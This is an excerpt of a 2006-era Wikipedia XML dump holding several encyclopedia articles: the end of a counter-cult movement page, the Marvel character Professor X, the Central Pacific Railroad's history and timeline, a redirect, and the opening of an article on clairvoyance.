*Apologetics resource center [http://www.arcapologetics.org/], by [[Craig Branch]]
*[[CARM|Christian Apologetics Research Ministry]], founded by [[Matt Slick]]. 
*[[Christian Research Institute]] (CRI) founded by Walter Martin  [http://www.equip.org]
*[[Dialog Center]] [http://www.dci.dk/en/?] founded by [[Johannes Aagaard]]
*[[EMNR]] Evangelical Ministries to New Religions [http://www.emnr.org/], an umbrella group for ministries to the cults and new religions
*Eternal Ministries [http://www.eternalministries.org] director, Dr. [[Ron J. Bigalke Jr.]]
*Institute of Religious Research [http://www.irr.org/]
*[[Midwest Christian Outreach]] {http://www.midwestoutreach.org]
*New England Institute of Religious Research (NEIRR) [http://www.neirr.org/]
*[[Personal Freedom Outreach]] [http://www.pfo.org]
*Probe Ministries [http://www.probe.org]
*[[Spiritual Counterfeits Project]] [http://www.scp-inc.org/], president [[Tal Brooke]]
*Watchman Fellowship [http://www.watchman.org/], founder David Henke, president James K. Walker

==External links==
* [http://www.apologeticsindex.org/c142.html Apologetics Index; The counter-cult movement]
*[http://c.faculty.umkc.edu/cowande/ccw/carm.htm Douglas E. Cowan: Christian Countercult Website Profiles] 
*[http://www.cesnur.org/2001/london2001/cowan.htm CESNUR: Overview of Christian Countercult movement by Douglas E. Cowan]
*[http://www.religioustolerance.org/ccm3.htm Counter Cult Movement at Religious Tolerance]

== Bibliography==

=== Primary sources ===
* Abanes, Richard, ''Cults, New Religious Movements, and Your Family'', Crossway Books, Wheaton, 1998.
* Ankerberg, John and John Weldon, ''Encyclopedia of Cults and New Religions'', Harvest House, Eugene, 1999.
* Enroth, Ronald (ed)., ''A Guide to New Religious Movements'', InterVarsity Press, Downers Grove, 2005.
* Geisler, Norman L. and Ron Rhodes, ''When Cultists Ask'', Baker, Grand Rapids, 1997
* House, H.Wayne, ''Charts of Cults, Sects and Religious Movements'', Zondervan, Grand Rapids, 2000.
* LeBar, James J. ''Cults, Sects, and the New Age'', Our Sunday Visitor, Huntington, 1989.
* Martin, Walter R. ''The Kingdom of the Cults'', edited by Ravi Zacharias, Bethany, Bloomington, 2003
* McDowell, Josh and Don Stewart, ''Handbook of Today's Religions'', Thomas Nelson, Nashville, 1992
* Rhodes, Ron, ''The Challenge of the Cults and New Religions'', Zondervan, Grand Rapids, 2001
* Sire, James W. ''Scripture Twisting: Twenty Ways the Cults Misread the Bible'', InterVarsity Press, Downers Grove, 1980.
* Sire, James W. ''The Universe Next Door'' 4th ed., InterVarsity Press, Downers Grove, 2004.
* Tucker, Ruth A. ''Another Gospel: Cults, Alternative Religions and the New Age Movement'', Zondervan, Grand Rapids, 2004.
* ''Vatican Report on Sects, Cults and New Religious Movements'', St. Paul Publications, Sydney, 1988.

=== History and critical assessments ===

* Cowan, Douglas E. ''Bearing False Witness? An Introduction to the Christian Countercult'' (Praeger Publishers, Westport, Connecticut &amp; London, 2003).
* Enroth, Ronald M. and J. Gordon Melton, ''Why Cults Succeed Where The Church Fails'' (Brethren Press, Elgin, 1985).
* Jenkins, Philip, ''Mystics and Messiahs: Cults and New Religions in American History'' (Oxford University Press, New York, 2000).
* Johnson, Philip, &quot;Apologetics, Mission, and New Religious Movements: A Holistic Approach,&quot; [http://www.sacredtribes.com/apolog1.htm''Sacred Tribes: Journal of Christian Missions to New Religious Movements''], 1 (1) (2002)
* Melton, J. Gordon., &quot;The counter-cult monitoring movement in historical perspective,&quot; in ''Challenging Religion: Essays in Honour of Eileen Barker'', edited by James A. Beckford &amp; James T. Richardson, (Routledge, London, 2003), pp. 102-113.
* Saliba, John A., ''Understanding New Religious Movements'', 2nd edition (Alta Mira Press, Walnut Creek, Lanham, New York &amp; Oxford, 2003).

{{cults}}

[[Category:Christian fundamentalism and evangelicalism]]
[[Category:Cults]]
[[Category:New religious movements]]
[[Category:Charismatic and Pentecostal Christianity]]</text>
    </revision>
  </page>
  <page>
    <title>Professor X</title>
    <id>7732</id>
    <revision>
      <id>40454090</id>
      <timestamp>2006-02-20T17:55:02Z</timestamp>
      <contributor>
        <username>Liastnir</username>
        <id>307097</id>
      </contributor>
      <minor />
      <comment>/* Early Life */  fixed a bad use of semicolons</comment>
      <text xml:space="preserve">{{Superherobox|
image=[[Image:Xav-lopr.png|200px]]
|caption=Professor Charles Xavier. Art by Aaron Lopresti.
|comic_color=background:#ff8080
|character_name=Professor X
|real_name=Charles Francis Xavier
|publisher=[[Marvel Comics]]
|debut=''X-Men'' #1
|creators=[[Stan Lee]]&lt;br&gt;[[Jack Kirby]]
|alliance_color=background:#ffc0c0
|status=Unknown
|alliances= [[Illuminati (comics)|Illuminati]]
|previous_alliances=[[X-Men]], [[Cadre K]], [[Starjammers]], [[Excalibur (comics)|Excalibur]]
|aliases=Chuck
|relatives=Dr. Brian Xavier (father, deceased), Sharon Xavier (mother, deceased), [[Cassandra Nova|Cassandra Nova Xavier]] (sister), Kurt Marko (step-father, deceased), Cain Marko ([[Juggernaut (comics)|Juggernaut]], step-brother), David Charles Haller ([[Legion (Marvel Comics character)|Legion]], son, deceased), [[Lilandra|Lilandra Neramani]] (former wife, [[marriage]] [[annulment|annulled]]), Cal'syee Neramani ([[Deathbird]], former sister-in-law), D'Ken Neramani (former brother-in-law)
|powers=vast Telepathic powers, easily able to read and project thoughts, and manipulate minds to alter memories, control minds, and cast illusions
|}}

'''Charles Francis Xavier''', also known as '''Professor X''', is a [[comic book]] character in the [[Marvel Comics]]  [[Marvel Universe|universe]]. He is the founder, mentor and sometime leader of the team of [[Mutant (fictional)|mutant]] [[superhero]]es the [[X-Men]]. Created by [[Stan Lee]] and [[Jack Kirby]], he first appeared in ''X-Men'' #1 (1963). 

Xavier is considered one of the most powerful [[mutant (fictional)|mutants]] on Earth due to his [[psionic]] powers. Xavier can read, control and influence human minds and cast [[illusion]]s. He can also detect the presence of other mutants. A natural genius, he is also a leading authority on [[genetics]], [[mutation]], and psionic powers, has considerable expertise in other life sciences and is highly talented in creating equipment for utilizing and enhancing psionic powers.

A visionary, Xavier has devoted his life to helping mutants learn to live with their powers, and to helping mutants and normal humans coexist peacefully and without fear of one another.

Professor Xavier's character is inspired by [[Martin Luther King, Jr.]] and [[Francis Xavier|St. Francis Xavier]], and may also be a derivative of [[Marie François Xavier Bichat]], or Charles Xavier from [[Vladimir Nabokov]]'s 1962 book [[Pale Fire]].

==Character biography==
Professor Xavier is a mutant - one of the world's most powerful [[telepath]]s. As a young man, he was rendered a [[paraplegia|paraplegic]] in an accident that was later revealed to have been caused by an alien called [[Lucifer (Marvel Comics)|Lucifer]]. In addition to his mutant gifts, Xavier is a world-class scientific intellect. His undergraduate education was conducted at [[Harvard University]]; he later did graduate work at [[Oxford University]].

===Early Life===
Charles Xavier was born to Brian and Sharon Xavier, a couple that was wealthy partially due to Brian being a well-respected scientist. After Brian died in a nuclear accident, his science partner Kurt Marko comforted the grieving Sharon and eventually married her. When Xavier's telepathic mutant powers emerged, he discovered Kurt really only cared about her money. 
[[Image:Profxy.PNG|A young Charles Xavier. Art by Jack Kirby.|thumb|left]]
Kurt moved in with the Xaviers, bringing with him his son [[Juggernaut (comics)|Cain]]. Kurt eventually showed his true colors, neglecting Sharon, driving her to alcoholism and abusing Charles and Cain. Cain took out his frustrations and insecurities on his step-brother. Charles once used his telepathic powers to read Cain's mind and see his psychological damage, which only led to Cain becoming more aggressive toward him.

Sharon died soon after. Later, a fight erupted between Cain and Charles causing some of Kurt's lab equipment to explode. Mortally wounded, he managed to drag the two children out before dying himself.

Thanks to his telepathy and intellect, Xavier became a brilliant student and athlete, though he gave up the latter after believing his powers gave him an unfair advantage. He later met a fellow student who he fell in love with, a [[Scotland|Scottish]] girl named [[Moira McTaggart|Moira Kinross]], who would later change her last name to 'McTaggart'. The two eventually agreed to get married but Xavier was drafted into the war.  While he was away Moira broke up with him.

===World travels===
After the war, Xavier travelled around the world.  In [[Cairo]] he ran into the [[Shadow King]], who was posing as an Arabian crime lord.  Xavier was able to defeat the Shadow King barely escaping with his life.  This encounter led to Xavier's decision of devoting his life to protecting humanity from evil mutants and safeguarding innocent mutants from human oppression.

Xavier later visited an old friend, Daniel Shomron, who had opened a clinic for traumatized [[Holocaust]] victims in [[Haifa]], [[Israel]].  There, he met the man who would become [[Magneto (comics)|Magneto]], a Holocaust survivor himself who worked as a volunteer in the clinic and [[Gabrielle Haller]], a catatonic Holocaust survivor.  Xavier was able to use his mental powers to break her out of her catatonia and the two later fell in love.
[[Image:Xavmags.png|170px|thumb|Xavier and Magneto would eventually part ways due to the differences in their beliefs on how to help mutants.  Art by Carlos Pacheco.]]
Xavier also became good friends with Magneto.  Neither revealed to the other the fact that he was a mutant.  The two held lengthy debates hypothesizing what would happen if humanity were to be faced with a new, super-powered, race of humans.  While Xavier was optimistic, Magneto's experiences in the Holocaust led him to believe that humanity would ultimately oppress the new race of humans like they did any other minority.

The two friends revealed their powers to each other when they fought Nazi [[Baron Wolfgang von Strucker]] and his [[HYDRA]] agents, who had kidnapped Gabrielle because she had known the location of their secret cache of gold.  Magneto attempted to kill Strucker by dropping the cave in on him; the baron somehow managed to survive and resurfaced much later.  Realizing that his and Xavier's views on mutant-human relations were incompatible, Magneto left with the gold.

Charles continued to stay in Israel for some time, but eventually he and Gabrielle separated on good terms not knowing at the time that she was pregnant with his son, who would grow up to become the [[Autism|autistic]] mutant [[Legion (Marvel Comics)|Legion]].

Xavier later encountered the alien [[Lucifer (Marvel Comics)|Lucifer]], foiling his plans for an invasion.  The alien retaliated by dropping a large boulder on Xavier's legs, crushing them and leaving him crippled.  After Lucifer had left, a young woman named [[Sage (comics)|Sage]] heard his telepathic cries for help and rescued him, bringing him to safety. Xavier told her she was a mutant and what that meant.

===The X-Men===
[[Image:Xavxmen.PNG|150px|Xavier with the original team of X-Men; Beast, Iceman, Cyclops, Angel, and Marvel Girl. Art by Jack Kirby.|thumb]]
Xavier founded [[Xavier Institute for Higher Learning|a school for gifted children]] which had a secret purpose of providing a safe haven for mutants to master their abilities in order to function in the outside world safely. In addition, he sought to foster good mutant-human relations by providing a positive example of mutants with his superhero team, the X-Men. Among the obstacles to that goal was his old friend, Magneto, who had grown harder since the two last met and believed that the only solution to mutant persecution was domination of humanity.

Throughout most of his time with the team, Xavier used his telepathic powers to keep in constant contact with his students and provided instructions and advice when needed. In addition, he used a special machine called [[Cerebro]], which enhanced his ability to detect mutants and to allow the team to find new students in need of the school. At one point, he seemed to have died but that turned out to be a former villain named [[Changeling (Marvel Comics)|Changeling]], who had agreed to impersonate Xavier while he went into hiding to plan a defense against an impending alien invasion.

Later, Xavier assembled a newer team of X-Men to rescue the original team when they were in trouble and managed the new members as before. He later met and fell in love with the alien Princess [[Lilandra]] from the [[Shi'ar]] Empire and took a sabbatical on her world for a time.

===Rejuvenation===
[[Image:Xavierwalk.png|Xavier starts to walk again. Art by Paul Smith.|150px|thumb]]
Later, Xavier was placed under the control of a member of the [[Brood (comics)|Brood]] while the X-Men were fighting them in outer space. During that time, he was compelled to assemble a team of younger mutants collectively called [[The New Mutants]], which were secretly intended to be prime hosts for reproduction of the aliens. Eventually, the X-Men discovered the dire situation and returned to free Xavier, but they were too late to prevent him from being transformed into a Brood Queen. The X-Men and [[Starjammers]] were able to subdue him in this monstrous form, but the only way to restore him was to clone a new body using tissue samples he had previously donated to the Starjammers. This new body had fully-working legs, but he was so accustomed to using his mind to block the previous constant pain of his paralysis that his mind subconsciously gave him [[psychosomatic]] pain whenever he tried to walk, which kept him largely in his wheelchair. Eventually, he overcame this difficulty and sometimes joined the X-Men in the field.

===Leave of absence===
A bit later, Xavier became victim of a [[hate crime]] and was severely injured. [[Callisto (comics)|Callisto]] and her [[Morlocks (comics)|Morlocks]] got him to safety. One of the Morlocks managed to partially restore Xavier's health. However, Callisto warned Xavier that he wasn't fully healed and he would need to spend more time recuperating and not exerting his full strength or powers or his health could fail again. Xavier hid his injuries from the others and tried to resume his life. 

A reformed Magneto was arrested and put on trial. Xavier attended the trial to defend his friend. Andrea and Andreas Strucker, the children of Baron Von Strucker — who at the time was presumed dead — crashed the courtroom to attack Magneto and Xavier.  Xavier was seriously injured. Dying, he asked a shocked Magneto to look after the X-Men for him. 

Lilandra, who had a psychic bond with Xavier, felt that he was in great danger and headed to Earth. There, she took Xavier with her and the [[Shi'ar]] so their advanced technology could heal him.

Magneto was left in charge of his school and some of the X-Men were unwilling to forgive their former enemy, mainly the original five X-Men who left and formed a splinter team called [[X-Factor]]. Magneto worked with the X-Men for several years, but when a misunderstanding caused them to attack him, he felt betrayed and became an enemy again.  By this time Xavier had returned to resume his previous responsibilities. He was later injured by his old foe, the [[Shadow King]], returning him to his former paraplegic state.

===Onslaught===
[[Image:onslaught_01.jpg|left|150px|thumb|Onslaught.]]
Professor X was for a time the unknowing host of the evil psionic entity [[Onslaught (comics)|Onslaught]].

Months before, Magneto and Xavier had had a falling out. The two were angry with each other and things escalated when [[Colossus (comics)|Colossus]] left the X-Men and joined Magneto and his Acolytes. 

In a battle where the X-Men were fighting Magneto at his base on Avalon, [[Wolverine (comics)|Wolverine]] tried to kill Magneto who in turn retaliated by ripping out the [[adamantium (comics)|adamantium]] bonded to Wolverine's skeleton. Furious, Xavier wiped Magneto's mind, leaving Magneto in a coma; Magneto would not regain his mind until several months later. The psionic contact brought together Magneto and Xavier's unrepressed anger at humanity, creating the entity known as Onslaught, a creature of pure psionic energy.

Onslaught wreaked havoc through the earth until he was destroyed by many of Marvel's superheroes, including [[Avengers (comics)|the Avengers]], [[Fantastic Four|the Fantastic Four]] and [[Hulk (comics)|the Incredible Hulk]].

Xavier was left without his telepathy and feeling guilty about his hand in what happened. He left the X-Men for a while.

[[Image:Nx121.jpg|right|150px|thumb|Cassandra Nova.]]

===Cassandra Nova===
Xavier's [[evil twin]] [[Cassandra Nova]], whom Xavier had killed while they were both in their mother's womb, came back and had a group of rogue sentinels destroy Genosha. Magneto, who at the time was the leader of Genosha, presumably died along with everyone else on the island. Nova then took over Xavier's body.

Posing as Xavier, she outed him as a mutant to the world before going into space and crippling the Shi'ar empire. The X-Men managed to restore Xavier, but Lilandra believed that too much trouble had come from her and the Shi'ar's involvement with the X-Men and had her marriage with Xavier annulled

===New Worlds===
During this period, a mutant named [[Xorn]] had joined the X-Men. His power was apparently to heal and he restored Xavier's use of his legs.

Now outed as a mutant, Xavier began making speeches to the public about mutant tolerance. He also founded the X-Corporation, or X-Corp, with offices all over the world. The purpose of the X-Corp is to watch over mutant rights and help mutants in need. 

As a result of being outed, the school wouldn't have to hide the fact that it was a school for mutants and it opened its doors for more mutants to come in. Things went downhill, however, when a student named Quentin Quire and his gang caused a riot on the day humans were going to take a tour of the school. As a result, Quire and two innocent students were killed. 

Not sure if his dream was working, Xavier told everyone that at the end of the term he would step down as being headmaster and that Jean Grey would be replacing him.

Xorn then revealed himself to be Magneto, though it was later revealed that he was just an impostor. The impostor crippled Xavier once more before destroying New York. The X-Men managed to defeat the impostor, but not before he killed Jean by giving her an electromagnetic stroke.

===Genosha===
[[Image:Excalibur magneto.jpg|right|150px|thumb|Xavier meets up with Magneto. Art from ''Excalibur'' #1.]]

With Jean dead, Xavier left the school to Cyclops and [[Emma Frost]], who had been having a psychic affair behind Jean's back for some time before her death.  Xavier then went to Genosha where he met up with the real Magneto. The two resolved their differences once more and worked together to rebuild and restore order to the decimated island nation.

Back at the mansion, the [[Danger Room]] gained [[sentience]], rechristened itself &quot;Danger&quot;, assumed a humanoid form and attacked the X-Men before heading over to kill Xavier. With Magneto's help Xavier was able to hold Danger off until the X-Men arrived. Soon after Danger fled, but not before revealing to [[Colossus (comics)|Colossus]] that Xavier had known it had been sentient ever since he upgraded it. Colossus was especially hurt, as he had been held captive and experimented on recently.

Ashamed, Xavier tried to explain to them that by the time he realized what was happening, he could see no other course.  The X-Men, disgusted with him, left.

===House of M===
Later, Magneto's daughter the [[Scarlet Witch]] suffered a mental breakdown and killed some of the Avengers. Magneto brought her to Xavier and asked him to use his mental powers to help her. Xavier agreed to try, but was unsuccessful. Worried, he ordered a group meeting of the X-Men and the Avengers to decide Wanda's fate. Her brother, [[Quicksilver (comics)|Quicksilver]], believed that the two groups were planning on killing her; and indeed  Wolverine and Emma Frost both believed that that was the best option. Going to Genosha where she was located, he convinced her that she could undo her wrongs by using her powers to change reality into a perfect world. Wanda used her magicks and changed the reality into the [[House of M]], a world where mutants were the majority, humans the minority and Magneto their ruler. Here, Magneto and the others believed that Xavier died years ago helping free Genosha.

When Layla Miller, a mutant with the ability to restore people's memories, restored the minds of some of the X-Men and Avengers, they headed over to Genosha where they discovered that Magneto had erected a memorial garden for Xavier commemorating his death. They were horrified until [[Cloak and Dagger (comics)|Cloak]] faded into his grave and discovered there was no body.

Believing Magneto was somehow responsible, the two groups attacked Magneto and his forces. After discovering that Magneto was in fact not responsible, Layla restored his memories. When Magneto discovered what had gone on, he became enraged that Quicksilver had done all of this in his name and killed him. Wanda used her magicks to revive him and blamed Magneto for choosing the mutants over them, [his children]. Using her powers, she changed the reality back and caused ninety-eight percent of the mutant population to lose their powers, leaving the mutant race on the brink of extinction.

With reality restored, Xavier was still missing and the X-Men were unable to detect him with Cerebra. Xavier's fate will be revealed in the six issue miniseries, ''[[Deadly Genesis]]''.

==Education==
'''Undergraduate studies''' 
*Charles Xavier graduated with [[Latin honors|honors]] at the age of 16 from [[Harvard University]].
'''Graduate studies''' 
*[[Doctor of Philosophy|Ph.D.]]s in [[Genetics]], [[Biophysics]], and [[Psychology]]; two year residence at [[Oxford University]]

==Ultimate Charles Xavier==
In the [[Ultimate Marvel]] continuity, Charles Xavier is the world's most powerful telepath, the founder and patron of the [[Ultimate X-Men|X-Men]] and a world-famous lecturer for [[pacifism]] and mutant [[emancipation]]. In contrast to his mainstream version, he also has limited [[telekinetic]] abilities and most importantly, he is not as saintly and morally inscrutable. He ruthlessly left his wife [[Moira MacTaggert]] with her sick son David to pursue [[Magneto (comics)|Magneto's]] dream of a mutant society, but unfortunately Magneto turned on him because of his belief that humans were the inferior race. This falling out between the two led to Magneto disabling him with a spear. Xavier has also more than once tampered with other people's minds to reach his goals, yet he has recognized his flaws. He generally believes that reading minds without permission is unacceptable.

==Appearances in other media==
[[Image:Profx3.JPG|thumb|150px|Patrick Stewart as Professor X]]
*Xavier appears in the two major animated television adaptations of the comic book, ''[[X-Men (animated series)|X-Men]]'' (voiced by [[Cedric Smith (actor)|Cedric Smith]]) and ''[[X-Men: Evolution]]'' (voiced by [[David Kaye]]). He also appeared in the X-Men pilot cartoon ''[[Pryde of the X-Men]]'' in the 1980s and was frequently a guest star on the animated series ''[[Spider-Man and His Amazing Friends]]''.

*In the animated series of ''X-Men: Evolution'', Xavier continues to teach and train mutant students. Instead of being stepbrothers, he is the half-brother of Juggernaut. He was captured by Mystique to replace him so she could exact revenge on Magneto. Xavier was placed in the same prison containment and was found by the X-Men.

*He also appeared in the three live action feature film adaptations ''[[X-Men (film)|X-Men]]'', ''[[X2 (film)|X2: X-Men United]]'' and the upcoming [[X-Men 3 (film)|X-Men 3]]. He is played by [[Patrick Stewart]].

*Professor X has appeared in most of the X-Men video game spinoffs. He is almost always an [[non-player character|NPC]] and advises the X-Men on various missions in the role playing games. In the case of the fighting games, he appears in some of the characters' endings. The most notable game for Professor X fans would be the [[X-Men: Mutant Academy 2]] game for the Sony Playstation in which he is an unlockable playable character. Also of interest is the  [[X-Men Legends]] game, in which Professor X is the only character to be voiced by the same actor from the movies ([[Patrick Stewart]]). In the first ''Legends'' game, he is a playable character for one level, in ''[[X-Men Legends II]]'', he appears as an NPC but can be unlocked as a playable character once all the Danger Room missions are played.

==External links==
*[[MarvelDatabase:Professor X|MDP: Professor X]] - Marvel Database Project
*[http://www.freewebs.com/xpeoplescerebro2/professorx.htm ProfessorX at X-Peoples Central]
*[http://www.uncannyxmen.net/db/spotlight/showquestion.asp?faq=10&amp;fldAuto=105 '''UncannyXmen.net''' Spotlight on Professor Xavier]


[[Category:Brotherhood of Evil Mutants members|X]]
[[Category:Defenders members|X]]
[[Category:Fictional disabled|X]]
[[Category:Fictional orphans|X]]
[[Category:Fictional scientists|X]]
[[Category:Fictional teachers|Xavier]]
[[Category:Fictional principals|X, Professor]]
[[Category:Fictional telepaths|X]]
[[Category:Marvel Comics mutants|X]]
[[Category:New Mutants and X-Force members|X]]
[[Category:Superheroes without costumes|X]]
[[Category:X-Men members|X]]
[[Category:Illuminati|X]] 
[[Category: Fictional Americans]]

[[de:Professor X]]
[[fr:Professeur Xavier]]
[[it:Professor X]]
[[pt:Professor Xavier]]
[[sv:Professor X]]</text>
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  <page>
    <title>Central Pacific Railroad</title>
    <id>7734</id>
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      <minor />
      <comment>link to article about the locomotive</comment>
      <text xml:space="preserve">{{Infobox SG rail|
railroad_name=Central Pacific Railroad|
logo_filename=No image.png|
logo_size=|
old_gauge=|
marks=|
locale=[[Sacramento, CA]]-[[Ogden, Utah]]|
start_year=[[1863]]|
end_year=[[April 1]] [[1885]] but continued as SP Subsidiary| 
hq_city=[[San Francisco, CA]]
}}

[[Image:Uploco.jpg|right|thumb|300px|The ''[[Gov. Stanford]]'' locomotive]]
The '''Central Pacific Railroad''', (later to become the [[Southern Pacific Railroad]]), was planned by [[Theodore Judah]] and financed mostly through the efforts of &quot;[[The Big Four]]&quot; (''who also called themselves &quot;The Associates&quot;''), who were [[Sacramento, California]] businessmen [[Leland Stanford]], [[Collis Huntington]], [[Charles Crocker]], and [[Mark Hopkins]]. It was created to build the [[First transcontinental railroad (North America)|First Transcontinental Railroad]] in [[North America]].  [[Alfred A. Hart]] was the official photographer of the CPRR construction.

A replica of the [[Sacramento, California]] Central Pacific Railroad passenger station is part of the [[California State Railroad Museum]], located in the [[Old Sacramento State Historic Park]]. The company's first two locomotives, the ''[[Gov. Stanford]]'', and ''[[C. P. Huntington]]'', are also both housed at the same museum. 

Nearly all of the company's early correspondence is preserved at Syracuse University as part of the Huntington papers collection, released on microfilm (133 reels). The following libraries have this microfilm: University of Arizona at Tucson; Virginia Commonwealth University at Richmond.

Additional collections of manuscript letters are held at Stanford University and the Mariner's Museum at Newport News, Virginia.

The railroad originally terminated with a connection to the Union Pacific at Promontory Point, Utah.  Shortly after completion of the line the Central Pacific purchased the track from Promontory to Ogden from the Union Pacific so that the railroads could have a terminal in a city.

===Timeline===
* [[June 21]][[1861]]: &quot;Central Pacific Rail Road of California&quot; incorporated; name changed to &quot;Central Pacific Railroad of California&quot; October 8, 1864, after the Pacific Railway Act amendment passes that summer.
* [[July 1]][[1862]]: President [[Abraham Lincoln|Lincoln]] signs the [[Pacific Railway Act]], which authorized the Central Pacific and the [[Union Pacific]] to build a railroad to the [[Pacific Ocean]].
* [[January 8]] [[1863]]: Ground breaking ceremonies take place at [[Sacramento, California]], at the foot of &quot;K&quot; Street at the waterfront of the [[Sacramento River]].
* [[October 26]] [[1863]]: First rail laid, at [[Sacramento, California|Sacramento]].
* [[April 26]] [[1864]]: Central Pacific opened to Roseville, 18 miles, where it makes a junction with the California Central Rail Road, operating from Folsom north to Lincoln.
* [[June 3]] [[1864]]: The first [[revenue]] [[train]] on the Central Pacific operates between [[Sacramento, California|Sacramento]] and [[Newcastle, California]]
* [[October 8]] [[1864]]: Following passage of the amendment to the Pacific Railroad Act, the company's name is changed to &quot;Central Pacific Railroad of California,&quot; a new [[corporation]].
* [[May 13]] [[1865]]: Central Pacific opened 36 miles to [[Auburn, California]].
* [[September 1]] [[1865]]: Central Pacific opened 54 miles to [[Colfax, California]] (formerly known as &quot;Illinoistown.&quot;)
* [[December 3]] [[1866]]: Central Pacific opened 92 miles to [[Cisco, California]].
* [[December 1]] [[1868]]: Central Pacific opened to Summit of [[Sierra Nevadas]], 105 miles.
* [[April 28]] [[1869]]: Track crews on the Central Pacific lay 10 miles of track in one day.  This is the longest stretch of track that has been built in one day to date.
* [[May 10]] [[1869]]: The Central Pacific and Union Pacific tracks meet in [[Promontory, Utah]].
* [[May 15]] [[1869]]: The first [[transcontinental]] trains are run over the new line to [[Sacramento, California|Sacramento]].
* [[November 8]] [[1869]]: The Central Pacific completes the final leg of the route, connecting [[Sacramento, California|Sacramento]] to [[San Francisco, California|San Francisco]].
* [[June 23]] [[1870]]: Central Pacific is consolidated with the [[Western Pacific and San Francisco Bay Railroad Co]]. to form the &quot;Central Pacific Railroad Co.&quot; (of June, 1870).
* [[August 22]] [[1870]]: Central Pacific Railroad Co. is consolidated with the [[California &amp; Oregon; San Francisco, Oakland &amp; Alameda; and San Joaquin Valley Railroad]]; to form the &quot;Central Pacific Railroad Co.&quot;, a new [[corporation]].
* [[April 30]] [[1876]]: Operates the [[California Pacific Railroad]] between South [[Vallejo, California|Vallejo]] and Sacramento, [[Calistoga, California|Calistoga]] and [[Marysville, California|Marysville]] until [[April 1]], [[1885]] (see below).
* [[July 16]] [[1877]]: Start of the [[Great Railroad Strike of 1877]] when railroad workers on strike in [[Martinsburg, West Virginia]], derail and loot a train; [[United States President]] [[Rutherford B. Hayes]] calls in Federal troops to break the strike.
* [[November 18]] [[1883]]: A system of one-hour standard [[time zone]]s for American railroads was first implemented. The zones were named Intercolonial, Eastern, Central, Mountain, and Pacific. Within one year, 85% of all cities having populations over 10,000, about 200 cities, were using [[standard time]].
* [[April 1]] [[1885]]: Central Pacific is leased to [[Southern Pacific]].
* [[June 30]] [[1888]]: Listed by ICC as a &quot;non-operating&quot; subsidiary of Southern Pacific.
* [[July 29]] [[1899]]: Central Pacific is reorganized as the &quot;Central Pacific Railway&quot;.
* [[June 30]] [[1959]]: Central Pacific is formally merged into the Southern Pacific.

==Predecessor Railroads==
* [[California Pacific Railroad]]

==References==
* {{cite book
 | title = Nothing Like It In The World; The men who built the Transcontinental Railroad 1863-1869
 | authorlink = Stephen E. Ambrose | last = Ambrose | first = Stephen E.
 | year = 2000
 | publisher = Simon &amp; Schuster
 | id = ISBN 0-684-84609-8
 }}

==External links==
*[http://CPRR.org Central Pacific Railroad Photographic History Museum]

[[Category:Defunct railroad companies of the United States]]
[[Category:California railroads]]
[[Category:Nevada railroads]]
[[Category:Utah railroads]]
[[Category:Historic civil engineering landmarks]]</text>
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    <title>Communist rule in Afghanistan</title>
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        <username>Eclecticology</username>
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      <text xml:space="preserve">#REDIRECT [[Democratic Republic of Afghanistan]]</text>
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  <page>
    <title>Clairvoyance</title>
    <id>7737</id>
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        <username>Tailpig</username>
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      <comment>Revert to revision 42089317 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">:&lt;span class=&quot;dablink&quot;&gt;'' &quot;Second Sight&quot; redirects here. For the video game , see [[Second Sight (video game)]].''&lt;/span&gt;

'''Clairvoyance''' is defined as a form of [[extra-sensory perception]] whereby a person perceives distant objects, persons, or events, including &quot;seeing&quot; through [[opaque]] objects and the detection of types of [[Odic force|energy]] not normally perceptible to humans (i.e. [[radio]] waves). Typically, such perception is reported in visual terms, but may also include auditory impressions (sometimes called ''clairaudience'') or kinesthetic impressions.

The term clairvoyance is often used broadly to refer to all forms of ESP where a person receives information through means other than those explainable by current science. Perhaps more often, it is used more narrowly to refer to reception of present-time information not from another person, there being other terms to refer to other forms: [[telepathy]] referring to reception of information from another person (i.e. presumably mind-to-mind); and [[precognition]] referring to gaining information about places and events in the future. The term ''clairsentience'' is often used in reference to psi phenomena falling under this broader context.

As with all psi phenomena, there is wide disagreement and controversy within the sciences and even within parapsychology as to the existence of clairvoyance and the validity or interpretation of clairvoyance related experiments (see [[Parapsychology]]).

==Clairvoyance through history==

There have been anecdotal reports of clairvoyance and claims of clairvoyant abilities on the part of some throughout history in most cultures. Often these have been associated with religious figures, offices, and practices. For example, ancient Hindu religious texts list clairvoyance as one of the [[siddhi]]s, skills that can be acquired through appropriate meditation and personal discipline. But a large number of anecdotal accounts of clairvoyance are of the spontaneous variety among the general populace. For example, many people report instances of &quot;knowing&quot; in one form or another when a loved one has died or was in danger before receiving notification through normal channels that such events have taken place. Similar presentiments that are not eventually fulfilled are soon forgotten, however. While anecdotal accounts do not provide scientific proof of clairvoyance, such common experiences continue to motivate research into such phenomena.

Clairvoyance was one of the phenomena reported to have been observed in the behavior of ''[[sleepwalking|somnambulists]]'', people who were mesmerized and in a trance state (nowadays equated with hypnosis by most people) in the time of [[Franz Anton Mesmer]]. The earliest recorded report of somnambulistic clairvoyance is credited to the Marquis de Puysegur, a follower of Mesmer, who in 1784 was treating a local dull-witted peasant named Victor Race. During treatment, Victor reportedly would go into trance and undergo a personality change, becoming fluent and articulate, and giving diagnosis and prescription for his own disease as well as those of other patients, and forgetting everything when he came out of the trance state. All this is in a manner reminiscent of the reported behaviors of the 20th century psychic [[Edgar Cayce]]. It is reported that although Puysegur used the term 'clairvoyance', he did not attribute any of this to the paranormal since he accepted mesmerism as one of the natural sciences.

Clairvoyance was in times following a reported ability of some mediums during the spiritualist period of the late 19th and early 20th centuries, and was one of the aspects studied by members of the [[Society for Psychical Research]] (SPR). Psychics of many descriptions have claimed clairvoyant ability up to the present day.

While experimental research into clairvoyance began with SPR researchers, experimental studies became more systematic with the efforts of [[Joseph Banks Rhine|J. B. Rhine]] and his associates at Duke University, and such research efforts continue to the present day. Perhaps the best-known study of clairvoyance in recent times was the US government-funded [[Remote Viewing|remote viewing]] project at SRI/SAIC during the 1970s through the mid-1990s.

Results of some parapsychological studies, such as the remote viewing studies, suggest that clairvoyance does not exist - the original &quot;remote viewing&quot; study was discontinued by the Stanford Research Institute due to lack of evidence. However there are as yet no satisfactory experiments designed that cleanly separate the various manifestations of ESP. Some parapsychologists have proposed that our different functional labels (clairvoyance, telepathy, precognition) all refer to one basic underlying mechanism, although there is not yet any satisfactory theory for what that mechanism would be.

